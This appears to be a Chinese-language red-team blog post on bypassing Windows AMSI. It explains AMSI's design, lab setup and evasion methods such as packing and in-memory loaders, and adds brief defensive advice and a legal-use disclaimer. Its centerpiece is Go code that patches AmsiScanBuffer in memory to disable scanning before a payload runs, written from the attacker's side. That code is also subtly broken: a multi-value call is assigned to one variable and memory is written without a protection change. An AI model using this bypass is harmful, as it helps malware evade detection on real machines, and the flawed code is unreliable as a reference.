一、解密AMSI的秘密

在渗透测试和红队行动中,绕过安全防护机制是攻击者的常见目标之一。Windows的反恶意软件扫描接口(AMSI)是一个能够检测恶意活动的重要机制。它会对脚本文件进行实时扫描,并将可疑代码提交给操作系统的防病毒软件进行检查。作为一名攻击者,绕过AMSI是提升攻击成功率的重要环节。本文将深入探讨如何从架构层面理解AMSI,并展示一些有效的绕过技术。
AMSI的架构剖析
AMSI作为Windows的一个核心组件,旨在提供实时的恶意软件检测能力。它主要通过以下方式工作:
- 接口调用:应用程序会调用AMSI的接口来扫描脚本代码。
- 实时监控:AMSI能够动态检测和分析内存中执行的脚本。
- 与安全软件交互:扫描结果会被传递给安装的防病毒软件进行进一步处理。
了解这一架构,我们可以发现攻击者的目标是绕过接口调用和实时监控这两个步骤,使恶意代码能够无障碍地执行。

二、搭建属于你的实验室
在任何成功的攻击过程中,拥有一个稳定的实验环境是至关重要的。本文将介绍如何搭建一个用于测试AMSI绕过技巧的实验室。
环境需求
- 操作系统:Windows 10
- 开发工具:Go语言环境、PowerShell
- 其他工具:使用VMware或VirtualBox创建虚拟环境
实验室搭建步骤
- 安装虚拟机:选择VMware或VirtualBox,安装Windows 10作为虚拟机。
- 配置开发环境:在虚拟机中安装Go语言开发环境,并配置PowerShell。
- 准备工具:下载并安装需要的渗透测试工具,例如Metasploit和Cobalt Strike。
通过这样的环境,我们可以安全地测试各种AMSI绕过方法,同时确保不会对真实系统造成影响。
三、神秘的Payload构造术
在实际攻击中,构造有效Payload是绕过AMSI的关键。我们将以Go语言为主,展示如何实现有效的AMSI绕过Payload。
使用Go实现AMSI绕过
<pre><code class="language-go">package main
import ( "syscall" "unsafe" )
func disableAMSI() { kernel32 := syscall.NewLazyDLL("kernel32.dll") amsiDll := kernel32.NewProc("LoadLibraryA").Call(uintptr(unsafe.Pointer(syscall.StringBytePtr("amsi.dll")))) amsiAddr, _, _ := kernel32.NewProc("GetProcAddress").Call(amsiDll, uintptr(unsafe.Pointer(syscall.StringBytePtr("AmsiScanBuffer")))) patchAddr := (*[4]byte)(unsafe.Pointer(amsiAddr)) patchAddr[0] = 0x31 // XOR EAX,EAX patchAddr[1] = 0xC0 patchAddr[2] = 0xC3 // RET }
func main() { disableAMSI() // 加载并执行你的Payload }</code></pre>
代码细节
- 加载amsi.dll:我们首先要确保amsi.dll被加载,这样我们才能找到它的函数地址。
- 函数地址定位:通过GetProcAddress找到AmsiScanBuffer的地址。
- 汇编指令覆盖:我们使用汇编指令直接覆盖AmsiScanBuffer函数的前几个字节,使其不再执行恶意代码检测。
这种方法的关键在于直接修改内存中的函数实现,使其即使被调用也会返回正常结果,不再进行真正的扫描。
四、实战中的免杀技巧
为了进一步提高成功率,攻击者通常会结合免杀技术以避免被发现。以下是一些常用的免杀技巧:
加壳与混淆
- 代码加壳:使用工具将可执行文件加壳,使其特征码被隐藏。
- 代码混淆:通过混淆代码结构,增加逆向难度。
内存加载技术

- 动态加载:从内存中加载并执行代码,减少文件落地。
- 自定义加载器:开发自定义加载器以执行Payload,避免使用已知工具。
结合这些免杀技术,攻击者能够进一步规避AMSI的检测,增加入侵成功率。

五、如何才能侦测与防御
在了解攻击者的策略后,防御者也需要掌握相关技术以提高检测能力。
提升检测能力
- 启用高级审计:确保系统启用了详细的PowerShell脚本审计功能。
- 使用EDR解决方案:扩展防御范围,结合EDR产品进行实时监控。
定期更新防病毒软件
- 规则更新:确保防病毒软件的特征库和规则集是最新的。
- 行为分析:增加行为分析模块以检测异常活动。
结合这些手段,防御方可以有效地提高系统对AMSI绕过攻击的抵御能力。
六、经验心得与分享
作为一名资深的红队专家,我发现AMSI绕过技术的不断发展是对抗双方竞争的结果。以下是一些个人经验:
- 关注新漏洞:不断跟踪最新发布的漏洞和绕过方法。
- 持续学习:不断提升技能,掌握最新的工具和技术。
- 合法应用:确保所有测试在授权环境下进行,不对真实系统造成影响。
通过这些努力,红队成员能够在技术上保持领先,并为客户提供更好的安全评估服务。本文所述技术仅供合法授权的安全测试使用,切勿用于非法目的。